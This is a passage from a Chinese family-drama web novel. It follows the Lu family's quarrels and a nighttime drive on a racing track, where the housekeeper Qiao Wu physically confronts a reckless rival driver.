开始他还很不理解,怎么一个个过来就是坐在那儿打游戏,话也不说。 现在他知道了,是乔梧让去的。 果然还是一起长大的情分重要,说话比他这个老子还好使。 看到陆应池的目标,他皱眉:“你就这么点追求?” “什么叫这么点?” “期末考试不挂科是一件很难的事吗?”陆江说,“你二哥在这个时候就……” “停。” 陆应池冷着脸打断了他的话:“不会说话就不要说,听着怪气人的,也不要拿我跟别人比,没错,我就这么点追求,看不上就别看。” “你这是什么态度,没有我你今天能考上大学?” “你最了不起,你把你二儿子逼出国,三儿子逼离家出走,四儿子逼断腿。”陆应池装模做样地拍了两下手,“要不是你,大……” 陆江气得从轮椅上站起来,狠狠给了他一巴掌:“闭嘴!” 陆应池用锤子抵了抵被打过的脸,痞里痞气笑了一声,垂眸看着他的腿:“医学奇迹啊,老头挺能装的。” “你……” 女孩清脆的声音打断了屋里的剑拔弩张:“陆应池!我回来了!” 陆江腾的一下又坐了回去。 陆柠也没想到家里还有别人,哦不对,不是别人。 她脸上的笑意顿时凝固,战战兢兢站在了门口,小声地喊:“爷爷。” 陆江平复着胸腔里的怒气:“嗯。” “该叫什么就叫什么。”他又说,“叫长辈的名字成什么体统。” 陆柠顿时抿着唇,不敢说话。 “老子乐意听,你管得着?” “陆应池,谁是你老子!” 见两人吵了起来,陆柠吓了一跳,她紧攥着书包带,轻轻出声:“小叔,我们去写作业吧。” 陆江怒意一滞。 她在说什么?叫谁去写作业? 陆应池 没说话,回头将桌上的核桃全都一笼统扫进大碗里,转身就大步走出了门。 后面的陆柠左看看右看看,说了句“爷爷我走了”,也跟着他飞快出了门。 只留下陆江一个人坐在轮椅上。 “这是怎么回事?”陆江问。 问的是几个孩子的变化,也问的是突如其来的爆发。 谢意哪里敢说老板的不对,主宅是陆家人生活的场所,他平时都不会进来,都是家里的佣人给他汇报后他转达给陆江。 只不过最近没听说家里出什么事,加上二少爷回国,所以陆江的精力都放在了公司上,忽略掉了家里的改变。 在他看来几个孩子应该都变得乖了一些,怎么还是这么不听话。 谢意不敢说老板什么不对,老板一向不喜欢别人忤逆他,只好道:“我也不清楚,不如等乔小姐回来了您问问呢?” 陆江视线又重新看向那些规则和目标。 听说老三最近都在老实上班,还去参加什么节目了。 娱乐圈……啧。 “陆柠和陆应池去哪了?”他问佣人。 佣人立刻道:“藏书楼,最近四少爷都在帮小小姐做课后辅导,还给小小姐敲核桃。” 写作业是这个意思? 以前学习都要了他半条命,甚至跳楼的陆应池居然会给人辅导作业了? 陆江想要跟上去看看,但又觉得刚才冲动的那巴掌打下去,说不准再跟着去,就真的会进医院。 还是等乔梧回来再说。 而这边陆柠像是一只小鹌鹑默默跟在陆应池身边来到了藏书楼。 陆应池一句话没说,坐下来就开始敲核桃。 那眼神那表情活像是要把她脑壳一起敲了,看到陆应池发红的脸,她放下书包抿抿唇:“我要上厕所。” “怎么。”陆应池头也没抬,凉凉道,“老子还要去给你看门?” “不用!” 陆柠飞快扭头跑了。 藏书楼里就有厕所,但陆应池现在没心情管她要去哪里上。 跑出来的陆柠大口呼吸,然后拿出手机偷偷给乔梧打电话。 “喂?” 听到那头熟悉的声音,陆柠差点就哭了,她抓紧手机:“乔梧,你什么时候回家,陆应池和爷爷打架了。” 这边的乔梧皱眉:“打架?现在他们怎么样了?” “我把陆应池拉来陪我写作业了,爷爷不知道。”陆柠说,“陆应池被爷爷打了,巴掌印好大,脸还肿了,好丑。” “我马上回来。”乔梧温声说,“你去找家庭医生,问他要点药给你小叔擦一擦。” “哦。” 乔梧安抚她:“没事乖宝,别怕。” 提心吊胆的陆柠在一瞬像是被轻柔的力道给顺了顺脑袋:“嗯。” 她挂掉电话后,抓紧时间跑去找佣人要了家庭医生的联系方式。 此时还在基金公司的乔梧回头问身边的人:“还有几个人?” 经历了辞退警告后,至少现在没人敢明面上对新来的理事长有任何不满。 而且开会的过程所有人也深切的意识到了乔理事说她能证明自己的能力不只是说说而已。 公司上下所有项目和对接机构,她全都分析整理得明明白白,包括未来怎么对接怎么发展也有很清晰的规划,连带每一个员工的职能她也提前了解清楚了,针对人针对事都能说出利害关系。 所以现在公司上下都没人敢说什么,听到她提问便快速回答:“还有最后一个,您有事的话我们让他下次再来。” “不用。”乔梧收拾好桌上的东西,“我换个地方面试,他人呢?” “在外面等着。” 乔梧嗯了一声,顺手翻开下一张面试者的个人简历,随即步伐微微一顿。 与此同时,员工也把门打开了,对外面喊道:“郭力言。” 坐在外面椅子上的年轻男人立刻站起来,在看到从会议室里走出来的女人后,瞳孔骤然一缩。 “乔,乔小姐!” “这是乔理事长。”员工纠正他,“也是你的面试官。” 郭力言更加震惊了。 他没想到自己来面试的居然是乔梧的助理。 现在他紧张到说话都开始打结:“我、我……” 乔梧:“我临时有事。” 郭力言顿时收声。 原本的紧张也变成了茫然和不敢言明的失落:“那我再约…” “不介意的话,我们在车上面试。”乔梧笑着说,“到时候我会让司机送你回来。” 从公司回陆宅还要一段时间,面试绰绰有余。 郭力言立刻道:“不介意!” “那走吧。” 乔梧走在前面,过了两秒郭力言才反应过来着急跟上去。 在她身后他就敢观察对方了,见她垂眸看着自己的简历,便从内心深处涌出一种浓浓的自卑感以及隐秘的期待。 乔梧今天是来办公事,所以出门时叫了个司机,也不用自己开车。 上车后她自然开口:“我看过你的简历,虽然是名校毕业,但能拿得出手的只有在校期间的成绩,大一大二的学校经历还算丰富,有学校公益社团的组织经验,大三大四以及毕业后一年里你没有任何工作经验。” “嗯。”郭力言垂眸,“在帮着家里。” 乔梧点头:“所以我的意思是你为什么会在一年后选择在你家之外的公司工作?” 她如果没记错,郭力言之前来找陆应池就是为了得到一个可以接近陆家的机会,也就是说他还是为了自己家的生意在奔波,但显然晚会那天他连陆尽之的正面都没见就走了。 虽然对比陆氏,郭家的生意做得并不起眼,但如果是自己家的孩子继承,也总比给别人打工好。 已经被乔梧见到过所有狼狈的郭力言现在已经没有任何遮羞布了,所以也没有任何隐瞒。 原本他只是想给自己一个机会,如果不是这里,他还会去其他地方试试。 但是现在他改主意了,如果能在乔梧身边跟她一起工作,他连往上爬都要多十分的动力。 “我选择工作跟家里没有任何关系。”郭力言说,“仅仅只是我自己。” 乔梧意外挑眉。 “家里的企业有我哥和我父亲,与我无关。”郭力言知道她在担心什么,又说,“我可以保证我进陆氏没有一点企图,只是想找一个高一点的跳板,想看看自己竭尽全力能爬多高。” 那天从宴会回去,不出意外父亲和郭阳洲为他的一无所得而怒不可遏,好像他真的是做不成任何事情的废物。 郭力言清楚只要有郭阳洲在一天,他就不可能进公司,在家里不会得到一点实权。 而他的经济能力实际上也就那样,如果不是为了接近那些需要攀附的人,他实际上得不到多少钱,用车都会被家里限制,所以自己出来创业也很不现实。 所以他如果想要往上走,就只能脱离郭家。 毫无疑问,陆氏是一个很好的跳板,越大的环境 他越有可能学到更多的东西,他要一步一步往上爬。 乔梧轻轻点了下头。 从郭力言的状况可以看到他过去的情况并不是很乐观。 但乔梧挺欣赏他这种能屈能伸还能站起来的魄力。 对比其他应聘者郭力言还有一点好处就是,他虽然是有钱人家的少爷但处境尴尬,既知道普通人的冷暖,也体会过上层圈子的残忍,而且比起其余的人乔梧对他了解还稍微多一点。 她又多问了些跟工作有关的问题,郭力言的确是名校毕业,有很强的组织能力和语言能力,回答问题起来逻辑能力都不错,说话有条不紊,除了看起来有些紧张,也不太有自信。 乔梧主动缓解气氛:“你对工资有什么看法吗?” “没有,经验更重要。” 那点工资对他来说的确不算什么。 乔梧点点头:“试用期一个月,什么时候可以上班?” 郭力言眼睛一亮:“随时都可以。” “回去我会让人通知你什么时候上班。”乔梧合上资料,朝他伸出手,“希望我们能磨合愉快。” 郭力言手心仿佛冒了汗,他平复了几下呼吸才轻轻握住她的手,却不太确定地问:“您真的不介意吗?” “为什么要介意?”乔梧自然地将手收回,“我相信自己的判断能力,做了选择以后也会承担后果,如果你说的是你的背景或是做过的事,其实如果我看到一个人能锲而不舍地鼓起勇气为了自己努力,那才是我欣赏的,我并不会介意你的来时路,重要的是未来。” 这些话把郭力言的心都煨得滚烫,他感觉自己被人从濒死的状态里一次又一次地捞了出来。 “谢谢乔理事长。” “不客气。”乔梧笑着说,“一会儿我下车,你跟司机说你的目的地。” “把我随便放在一个地方就好了,我可以自己回去的!” “再怎么说你目前会是我一个月的助理。”乔梧失笑,“做上司的对你好一点是应该的。” 对你好一点…… 郭力言觉得自己自从遇到乔梧以后,整个人的人生都变得有期待了起来。 而且他的确不太舍得下车,所以他默默地应了下来,陪着她坐完了剩下的路程。 再次回到陆家,可他却没有之前那样的忐忑和不安,而是看着女人的背影消失后,第一次这么期待离开,期待第二天的到来。 回到陆宅,乔梧直接就去了藏书楼。 推开门时里面依旧很安静,陆柠趴在桌前写作业,陆应池就背靠着她,核桃也不敲了,手里不停把玩着那把小锤子。 桌上摆着药膏和棉签,但显然没有用过。 乔梧无声叹了口气。 老夫人过世得早,以至于陆江一直没人约束着,性格越发争强好胜,陆柠的父亲就是被他管得很严格,在他看来陆家的孩子都要担得起责任。 只是后来陆柠父母在出差过程中车祸意外身亡,陆江一夜之间就老了一大头。 跟另外几个儿子的关系也更是僵硬。 因为在陆应池他们看来,陆柠父母就是被陆江逼得抽不开身天天工作,这才会半夜出差出车祸。 大哥在家中一向都是被尊敬的那个存在,是顶梁柱,哪怕是以前的陆尽之也会乖乖喊一声哥。 从那以后父子之间的关系就变得奇奇怪怪,越闹越僵。 乔梧在门上轻轻敲响:“我回来了。” 桌前桌后的两人齐刷刷抬起头,陆柠几乎瞬间就放下笔朝她冲了过来,她压低声音:“他完了,我说我要吃核桃,他连核桃都不敲了。” “陆柠。”陆应池的声音阴森森的,“你觉得你很小声吗?” “这还不小声?”陆柠惊讶回头,“你什么耳朵?” “好了。”乔梧揉揉她的脑袋,“你已经很棒了,今天先去房间里写作业,我一会儿来给你检查。” 以往陆柠还会挣扎一下,但今天她不是很敢:“好吧。” 她乖乖回到桌前收拾自己的东西,抱着书包一步三回头,走到门口的时候又忍不住回去夺过陆应池手里的锤子:“我给你敲。” 然后捏着锤子跑了。 等门关上,乔梧才走上前拿起桌上的软膏和棉签,绕到陆应池面前。 后者像个陀螺似的,她走到哪他就绕到哪,就是不正面看她。 乔梧最后干脆不动了,笑道:“要么现在乖乖涂了,要么我让保安进来按着你涂。” 陆应池动作停下,跟后脑勺长了眼睛似的,头也不回地将乔梧手里的药膏夺走。 看来打得不轻,不然也不会怕她看见。 乔梧没有硬是要看,而是在他后面坐了下来:“跟他动手了吗?” 陆应池冷笑:“还没动手他就坐轮椅,动手了他不得直接进焚化炉?” “……” 你们几兄弟,一个比一个狠。 她笑道:“那你要奖励吗?” 正在埋头挤药膏的陆应池动作一顿,微微偏过一点头:“奖励?” “定家规的时候不是说了吗,做得好是有奖励的。”乔梧温声说,“陆柠好好学习能去逛街,你当然也有。” 陆应池罕见茫然:“我做什么了?” “第六条禁止对家人言行不当,你做到了有担当有责任,能控制自己的情绪。”乔梧看着他的后脑勺,“怎么会没用,你现在很厉害了。” “其实……” 言行也有不当的。 他戳他老子肺窝子了。 但有奖励的话,当他没说。 那是老头应得的。 “其实你说得对。”他笃定地说,“我有什么奖励?” “陪你去零环线跑圈?”乔梧说,“你好久没去了吧?我们今晚跑夜路。” 陆应池什么也顾不上了,手里一个用力,药膏都挤出来半只,掉在衣服上他也顾不得了,瞬间转过身:“真的?” 他今天真的憋闷死了,很想找个什么方式来宣泄一下,但想着答应过乔梧,所以一直闷在这里。 乔梧的视线落在他的侧脸上,笑意微收。 看来陆江的确下了狠手,他大半张脸都肿了,还有很明显的手印。 她嗯了声:“先把药涂了。” 陆应池才反应过来自己躲了很久,现在全暴露了。 他也不嫌弃,将掉在衣服上那些药胡乱抹在指尖涂在脸上:“好了吧?” 乔梧拿起一只棉签,微微倾身越过桌面伸手将那些乱七八糟的药给抹匀:“拿着揉揉。” 陆应池有些愣怔地看着她。 跟喂吃的不一样,现在他感觉那只手离自己的脸只有那么几毫的距离,他下意识想偏过脑袋蹭一蹭她的指腹。 她的手好像一直都是凉的,碰到脸就能消去脸上的火辣了。 只是他才抬起手,乔梧动作就停了,将棉签递给他。 陆应池敛下心里的莫名的怅然,接过棉签,见她不像来时那么笑,轻哼:“心疼了吧?老子这张帅脸。” “嗯。”乔梧扬起不太明显的笑,“有点。” “……” 陆应池下意识将自己的视线挪开,呼吸凌乱了一瞬,用棉签狠狠戳着自己的脸,嘟囔道:“所以要是老子进娱乐圈,还有陆宣什么事。” 又警惕地问:“你说要给我奖励,不会反悔吧?” 乔梧笑道:“不会,我现在去换衣服,咱们车库见。” 这下陆应池揉都不揉了,捏着棉签就冲了出去。 零环线既然能存在这么久,就有一定的安全措施,是越野车和摩托车的合法赛道,赛道周围是经过合理合法的安全保障检验的,在没有比赛的时候,这里就是一个训练场地,只是禁止违规竞赛,所以一般大家都不叫飙车,而是叫跑圈,喜欢玩的人就喜欢擦着边玩些刺激的运动。 乔梧还是开了上次那辆改装过的车,陆应池这次换了辆越野。 两人一前一后开 车出了门。 正好与回来的陆尽之擦肩而过。 他进门后看到在门口张望恨不得把脑袋从主宅伸到正门的陆柠。 “挡路了。” “二叔。” 上一次的聊天后,陆柠对二叔少了很多恐惧,她往旁边挪了挪,十分郁闷,“乔梧带陆应池出去玩了,带他去零环线呢。” 她也想去,但陆应池说未成年人禁止入内。 零环线? 上一次乔梧打电话问他老板电话也是那儿,乔梧带陆应池去那个地方玩?还开着车? 陆尽之忽然意识到,他了解长大后的乔梧的机会来了。 所以他门都没进,转身又走了。 “二叔!”陆柠实在是好奇,“你要去找他们吗?带上我吧,我不敢跟爷爷在家,我作业也写完了。” 陆尽之看了楼上一眼,淡淡道:“跟上。” 40-50 第41章 第四十一章我家管家很贵 有了山顶的公馆,晚上的零环线更加热闹,几乎没有人不认识陆应池的车,这位少爷自从拿了驾照就喜欢开各种各样的车过来。 所以当陆应池的车山脚入口时,周围的年轻人几乎是瞬间就注意到并且起着哄围上来。 坐在另一辆车上的秦天睿听到后往后视镜里看了一眼:“怎么回事?” 他身边的人伸出脑袋,语调拔高:“陆应池的车。” “陆应池?” 秦天睿立刻解开安全带下车。 他哥口口声声说陆家几兄弟老实了,用来鞭策他,这才老实几天就忍不住了?也不过如此。 看到原本围在他身边的人都跑去恭维陆应池,秦天睿心里更是不服。 黑色的越野车在人群前停下,陆应池并没有下车,只是降下了车窗,手肘搭在外面。 “陆少。”有人笑着走近,“今天终于有空出来玩了?” 陆应池只觉得对方眼熟,但谁的名字都叫不出来,他也懒得在意这些,伸出食指随意动了两下让人退后:“别挡视线。” 意识到他在看后视镜,旁人也识趣地退开,只是嘴上没停:“上次跟你来那个美女是谁啊?后面也没见过呢。” 闻言陆应池的视线才在他身上逗留了两秒,他冷冷突出四个字:“关你屁事。” “……” 出走一月,归来依旧是惹不起的爷。 “那要一起跑两圈吗?”另外有人配合他的喜好。 虽然没有比赛,但基本上都有默认的规矩,谁用时短谁赢。 只不过对于陆应池来说这种规矩几乎不存在,因为不管输赢只要他爽了他也喜欢给人买单,就图一个爽字。 但今天的陆应池没心情,他一直看着后面。 怎么还没到,不是一起出门的吗?她这速度跟龟爬似的,还怎么跟他跑圈? 他拿出手机刚要打电话,另一道痞里痞气的声音就插了进来:“陆应池。” 陆应池掀眸,余光睨了这人一眼。 “少在老子面前出现,不然新账旧账一起算。” 就是这个逼上次在陆家找郭力言的麻烦? 他虽然跟郭力言交情不算很深,但再怎么说郭力言也是他请来的人,秦天睿在他的地盘欺负他的客人,明摆着就是冲他来的。 “想给别人出气啊。”提到这事儿秦天睿也生气,半路杀出个程咬金害他回去被收拾,他嘲讽道,“你不是被人训成狗了吗,还敢这么叫不怕主人不给你骨头吃?” 周围的人默默退远,这两个少爷他们谁也惹不起。 换做是以往,这个时候陆应池已经冲下车让秦天睿知道谁才是狗了,但今天他没有。 乔梧随时都有可能过来,到时候看到了他的奖励就没有了。 上一次来零环线的时候,乔梧是在他后面上山的,他没能看到她出现时的样子,但从这些人的反应来看,那天她吸引了不少人的目光,到现在还招人惦记。 而且他另一边的脸还肿着,要是给秦天睿看到了估计得上天。 陆应池冷笑:“看来你哥的皮带没把你栓好,逮着谁都要乱咬。” 这话让秦天睿感觉后背都还疼着,他咬紧了牙。 “比一场?”他说,“谁输了谁跪下叫爹。” 陆应池:“谁理你,哥宝男。” “你踏马……” 后面有车按了一下喇叭打断了两人的对话。 众人回头看去,却看到一辆熟悉的车。 如果说陆应池是因为高调让人印象深刻,那后面那辆车纯粹就是车主出现时太惊艳了,让人只看过一次都忘不掉。 “陆少!是跟你一起的!” 后面的车并没有停下来,按了喇叭以后就朝着人堆里开了,旁人齐刷刷让开。 乔梧的车停在了陆应池的右边,她降下车窗,忽略所有人的惊叹,视线在下面的秦天睿身上扫过,笑了笑:“秦先生,好久不见。” 秦天睿脸色铁青。 神他妈是哥宝男,陆应池根本就是管家宝! 谁出来夜场玩还要带管家的! 可是秦天睿连着两次想要看陆家兄弟出丑,每一次都因为乔梧出现而失败。 连他现在都有点怀疑人生,自己不是跟陆家兄弟犯冲,是跟乔梧犯冲。 “在说什么?”乔梧问。 “没说什么,狗叫而已。”陆应池直接将自己左边的车窗升上来,“走?” 乔梧随意点了点头:“嗯。” 跟别人没有兴趣跑的陆应池现在却很有兴致了,他指着起点的计时器:“我要是赢了,今晚我要在这儿喝酒!” 生怕乔梧不答应,又说:“你说过有自己人在可以喝。” 乔梧本身也没想拒绝他,不赢也可以让他喝,反正有她在。 所以她挑了下眉:“注意安全。” 起点有工作人员会实时更新赛道上的情况,以避免中途出现有人堵在路上耽误其他人的事情发生,所以在起点还要再待几分钟。 乔梧在等待的时间里往后视镜里看了一眼,被无视的秦天睿已经气鼓鼓的上了车。 她拿出手机给秦敛打了个电话。 对面很快接通:“乔梧?” “秦总,您弟弟在零环线。”乔梧直接道,“跟陆应池闹了些不愉快。” “动手了?” “没有。”乔梧收回视线,平静地说,“只是先给您打个预防针,如果出了什么意外,我可能要越俎代庖了。” 听出来她的话外之音,秦敛也并没有生气,他本来就是要请乔梧来帮自己的。 “放心,我今晚不会出现。”秦敛说,“真出事了你尽管发挥,我给你兜底。” 得到这句话乔梧就放心了。 她也不希望真的会发生什么事,但显然秦天睿看起来并不是个安分的。 “乔小姐。”工作人员敲了下车窗,“陆少爷说让您这边先出发,所以再过两分钟您就可以出发了,请注意倒计时板。” 乔梧点了点头:“辛苦。” 虽然乔梧的驾照比陆应池拿得早,但实际上他只有在乔梧回国后才看到她开车。 她平常出门的车都是很低调的商务型用车,这辆越野只有上次来零环线的时候开过,但那次他被愤怒冲昏了头脑,加上乔梧车上还载着一个人,其实后半段她开得很平稳。 只有这一次,她是专程为了跑圈来的。 入了秋,她身上穿着暗绿色的冲锋衣,头发扎了起来,眼镜也摘了,褪去平时商业的知性,整个人变得充满了野气,跟她那辆车相得益彰。 他就是特意要看她冲出起点的那一瞬间,果不其然,比他想象中还要酷。 她平时温和平静的表情在那一瞬间几乎就冷了下去,目光也变得坚毅,这一刻的陆应池心血都沸腾起来。 原来跟合心意的人在一起跑圈是这种感受! 乔梧的车离开后,倒计时板上开始出现他的倒计时。 陆应池压着澎湃的心情,紧紧扣住了方向盘。 这一圈的车相继离开,很多人都欢呼着朝去山顶的电梯涌去。 有些人不开车,但就喜欢看热闹,他们现在很期待在山顶看到这一圈的人到达终点是什么样子。 可就在大家到达山顶的时候,却忽然看见旁边的贵宾电梯里走出来两个人,一大一小。 男人西装革履,眉眼疏冷,俊美无双。 他身侧的孩子扎着马尾,还穿着私立学校的校服,灵动的眸一直观察着周围。 谁家带孩子来这儿了?这里未成年人是不能来的! 有人小声说:“那好像是陆尽之。” 虽然能 接触陆尽之的人很少,但他自从进入陆氏集团后媒体就一直在盯着他,盯着他出国,又盯着他回国。 他长什么样在圈子里完全不是秘密,甚至知道他的人比知道陆应池和陆宣的还要多。 是陆尽之啊,那没事了。 有钱人总是拥有特权的。 等会儿,陆尽之怎么会来这儿?! 这是拖家带口来这儿玩了?这公馆怎么看都不像是个秋游营地啊。 零环线老板姜园早就等在公馆门口了,见到陆尽之走出电梯立刻迎上来:“陆总,好久不见。” 姜园名下的产业并不仅仅只有零环线,可以说很多高端餐饮业都是他的,所以他的资产虽然都是小数,但他的人脉很多人却望尘莫及。 “嗯。”陆尽之仿佛没有注意到周围热切的视线,“找个安静的地方。” 顿了顿,又说:“视野好的。” “露台吧,没人打扰。”姜园说,“外面什么情况也都能看见,想喝点什么?我从自己的酒库给你拿。” 陆柠暗戳戳地抬起脑袋。 在家乔梧不让她喝酒,但是在这种地方总没有其他东西可以喝了吧,果酒都行。 这里好酷! “随便。”陆尽之往身侧扫了一眼,“给她上点奶。” 陆柠:“……” 姜园没控制住表情:“这位是……” 陆尽之没有回答。 不过陆柠也没指望二叔能做介绍别人那种事,所以她自己小声说:“陆柠。” 也姓陆? 姜园没太反应过来。 直到陆尽之轻描淡写补了一句:“侄女。” “原来是你们家小公主啊,还真没见过。”姜园稀奇,“仔细看跟大少爷还挺像的,想喝什么奶,叔叔让人去给你准备。” 现挤都要给你挤出来。 “我喝果汁。”陆柠倔强地说。 “行。” 姜园带着人上了露台,心下觉得怪异。 他人脉广消息也广,所以知道陆家兄弟阋墙,貌合神离,几乎不会同框出现。 可今天陆尽之跟陆应池前后脚到,还要了这么个位子,明摆着就是来看陆应池的,还带了这么个小不点儿,这就很耐人寻味了。 难道说……陆老爷子生病以后,陆家兄弟已经斗到明面上来了? 他离开之前又忍不住回头看了一眼,陆尽之在沙发上坐下,旁边的小孩左右看了看,找了个离他最远的地方趴着了。 果然,看起来也不是很熟的样子。 等人离开后,陆尽之扫了眼趴在沙发背上好奇张望的女孩,喊了声:“陆柠。” 小姑娘疑惑回头。 他二叔姿态优雅地坐着,黑眸轻敛居高临下。 就是说的话还是那么刻薄:“你还真是字如其人。” 陆柠:“?” 她高高在上的二叔:“声音也不如鸡。” “……” 她看了眼露台到楼下的高度,思考着未成年人把二叔从这里扔下去会不会犯法,法制频道没说来着。 “没人敢掐你的脖子。”陆尽之淡淡道,“姓陆是你的底气。” 陆柠愣了愣。 这话乔梧也跟她说过。 可现在二叔也这么说,二叔的意思是……他也会给她撑腰的吗? 她呆呆点头:“哦。” 过了两秒,又说:“那我要喝冰的果汁。” 陆尽之睨她一眼,像是笑了:“出息。” 很快姜园就亲自把酒和果汁拿上来了,隔绝了人群,其实这里的吵闹也还能接受。 姜园把酒倒在醒酒器里,见陆尽之看着场下的终点,便道:“一圈的时间还挺长,你要看的话我们这边有转播。” 每一场都有无人机在上面监控,方便看到路况,出事也能第一时间发现。 露台有巨大的投影幕布,专门给贵宾服务的,打开就能看。 画面出现的瞬间只能看到山上的路况,不同时刻出发的车在路中疾驰扬起沙尘。 “四少是第二辆车。”姜园说,“我给你切机位。” 陆尽之:“乔梧是哪辆?” 姜园动作一顿,以为自己听错了。 但对方似乎没有要改口的意思。 这瞬间姜园醍醐灌顶,难怪上次乔梧可以拿到他的电话号码,原来是这位给的。 “第一辆。”姜园立刻调整了专门拍摄一号车无人机的机位。 因为是第一辆车,所以前面的视野还算清晰,只不过车身被黄沙沾染上,又隔着一段距离,并不能看得太清楚里面的人,轮廓还是能看见的。 事实上这样的画面任何人只会被这个场景吸引注意力,车里的人已经跟车身融为一体,那辆车就是她。 十来岁的乔梧不是这样。 这是22岁的乔梧。 陆尽之视线随着那道黄沙残留的痕迹移动,又望向里面那道模糊的身影,轻轻弯起了唇。 陆尽之是个喜欢享受的懒蛋,舒服为先,也不喜欢自己身上脏兮兮,所以他对亲自参与这些运动从来没太大兴趣,但这并不妨碍他看。 没有任何一个男人不会被眼前的画面吸引,因为那辆车冲出的野性和自由。 这同样也是以前的乔梧没有的。 作为第一个出发的人,乔梧自然也是第一个到达终点。 她下车后,周围有人就已经忍不住开了香槟,酒精的香味在空气里肆意挥洒,她还未平静的大脑皮层再一次被冲上另一个刺激的高度。 哪怕周围的人她并不认识,也不妨碍她这会儿跟这些人共同享受到达终点的喜悦。 她站在人群里,脸上笑意清晰灿烂,跟任何朝着她伸手的人击掌。 这时的陆尽之已经没有在看无人机,而是靠着沙发,视线落在人群中央。 “挺酷的。”姜园说,“上次胡卓那几个人闹事,我进去的时候就是她一个人在掌控全局,她是谁啊?” 陆尽之视线没有收回来,只道:“乔梧。” 姜园奇怪的看了他一眼,心道我知道她叫乔梧,我是想问你们的关系。 但事实上他并不是很敢。 乔梧到达终点后并没有很快离开,她的车门大开,她坐在上面仰头看着终点旁的大屏幕,这里可以看到后面每一辆车的实况,每辆车都有自己的编号,她找到了陆应池的那一辆。 果然跟他一样莽撞,算下拉开的时间,的确比她要快一些。 但她并不在意输赢,而是朝站在终点旁边的服务员招了下手。 低头说了几句话以后她忽然听到旁边传来众人的惊呼声。 乔梧抬头看去,只见原本正常行驶的陆应池身后忽然窜出来了一辆黑车,那辆车速度很快,直直从陆应池后面冲上来。 陆应池也察觉到了,所以飞快踩了一脚刹车,这个时候要是乱拐方向会出事。 他跟那辆车惊险地擦边而过,另外那辆车已经越过他扬长而去。 “卧槽,这谁啊这么猛?” “太危险了吧,车道禁止贴这么紧的!” “好像是秦少…” 砰的一声,大家的话被打断,他们看向出声的来源,见原本坐上了车的那位大美女冷着脸甩上车门下了车。 她一言不发地看着屏幕,直到大屏幕上那辆停下来的车再次启动,她才走到终点旁边,垂眼轻轻捏着手腕。 因为超了陆应池的车,现在的秦天睿心里十分舒爽。 他在陆应池身后出发,憋着一股气一直踩着油门,居然真的看到了陆应池的车屁股。 看来现在陆应池开四轮的车都没以前那么激进了,眼看着马上要到终点,道路不会像之前那么陡,旁边也都有缓速带,所以他才一脚油门轰到了陆应池身后。 他冲出终点,却没有下车。 陆应池那个脾气,一会儿过来一定会跟他打一架,他还没那么蠢在这儿动手。 可下一秒他的车窗却被人敲响了,扭头一看居然是乔梧。 秦天睿皱眉:“干什么?” 乔梧双手互相搭着:“下来。” 看不出她有什么表情,还是很平静,应该是看到了刚才的画面来给陆应池找场子的。 秦天睿并没有想太多,今天不是在陆家,他哥也不在,他正常超了个车乔梧还能说什么大道理。 所以他打开车门。 可车门才打开一个缝,原本还搭着手懒懒站着的乔梧忽然一把捏住了他的开车门的手腕。 秦天睿一惊,还没反应过来就被对方利落地从车上拽了下去,他腿都没落到地面,也没任何准备,所以整个人失去平衡摔 在地上。 之前见过乔梧和陆应池一起来,还收拾了胡卓和洪承的人纷纷退避三舍,根本不敢插手。 秦天睿根本没有任何反抗的机会,他被人拽在地上以后,扑了满嘴的黄土。 下一秒他一只手被人反剪在背后,有一只脚踩在他背上,那人另一只手拎着他的衣服让他被迫抬起上半身。 他的视角只能看到乔梧俯身下来冷淡的视线。 “秦天睿。”乔梧第一次连名带姓没有任何笑意地叫他,四周噤若寒蝉,她的声音那么低又那么清晰,“这么想死?” “乔梧!”秦天睿惊恐地发现自己根本被她桎梏得动都不能动。 她哪里来那么大的力气! “你只是个管家,你敢动我我哥不会放过你的!” 可乔梧不仅没有松开他,脚下的劲反而更重了。 桎梏着他的手的力道松开,秦天睿还没碰到地面,却被迎面而来的一巴掌扇得眼冒金星。 “你哥?”乔梧指尖抵着他的额头,“你就这点本事,除了你哥就没话说了是不是?你哥花再多的钱不也只把你养成了这种废物样子?一脚油门一了百了,到时候你去跟阎王爷说你哥来了,让他放你回来,你看可以不可以?” 陆应池来到终点的时候,发现这边情况不太对,他知道那是谁的车,是想来找秦天睿算账的。 但没想到秦天睿已经在地上了,还是被乔梧的膝盖压在地上的。 陆应池的怒火顿时凝滞。 乔梧在给他出气?乔梧动手了? 上次只是给了胡卓他们一巴掌,现在居然把人打趴下了?! 他轻咳一声,看到秦天睿两边对称的巴掌印时,连自己的脸都不觉得疼了,走上去阴阳怪气地问:“哎呀,秦少爷,这是怎么了?” 周围的人:“……” 您能不能把嘴角压一压。 秦天睿长这么大,除了他哥就没其他人敢动过他一根头发。 他气得浑身发抖:“保安,踏马的保安呢!” 乔梧扫了周围一眼:“我看谁敢上来。” 她当着所有人的面,膝盖抵住秦天睿的背,一只手按着他的手,另一只手拿出手机打电话。 没几秒对面接了起来。 乔梧点开免提,对那头道:“秦总,我把你弟弟打了。” 另一边的秦敛有些意外,但想想也很合理。 他嗯了声:“打得好,辛苦你了。” 秦天睿:“!!!” 乔梧把电话挂断,给秦天睿又是一巴掌,把他另一边脸给打对称了。 “听到了?”她冷声道,“今天我就是把你埋在这儿,你哥也会来兜底。” 露台上将所有画面尽收眼底的陆尽之许久没说话。 “陆总。”姜园有点胆战心惊,“要不要管管?” 陆尽之这才笑了下:“不是有人管了?” “?” 然后姜园看到陆尽之拿出电话,找到黑名单,把秦敛放了出来,拨打电话。 秦敛语气不太好:“有事?” 陆尽之声音温和,甚至还很有礼貌。 “秦家已经拮据到请不起人,需要我的管家帮你管教不成器的弟弟了么?” 秦敛被嘲讽得脑袋发疼:“陆尽之你公主病又犯了?” “结下账。”陆尽之慢条斯理道,“打人很伤手。” 他扫了眼乔梧,笑意渐浓,温声补充:“我家管家很贵。” 第42章 第四十二章二更 给他装到了。 秦敛一声不吭挂掉了电话。 风水轮流转,妈的。 可事后他又觉得不太对劲,秦天睿跟陆应池起了冲突,是乔梧动的手,但最后是陆尽之打电话来嘲讽他? 这家人到底在搞什么? 公馆外,每个人都听见了秦敛说的那句“辛苦你了”,这下更加没人敢插手进来,但确实是第一次亲眼看到秦少挨打啊,过了这个村就没这个店了。 多看看。 地上的秦天睿也压根没想到在他不知道的时候,他哥已经跟这个女的搭上线了。 什么叫打得好?! 草! 他恨不得一口咬碎了乔梧,恨声道:“你到底想怎么样!” 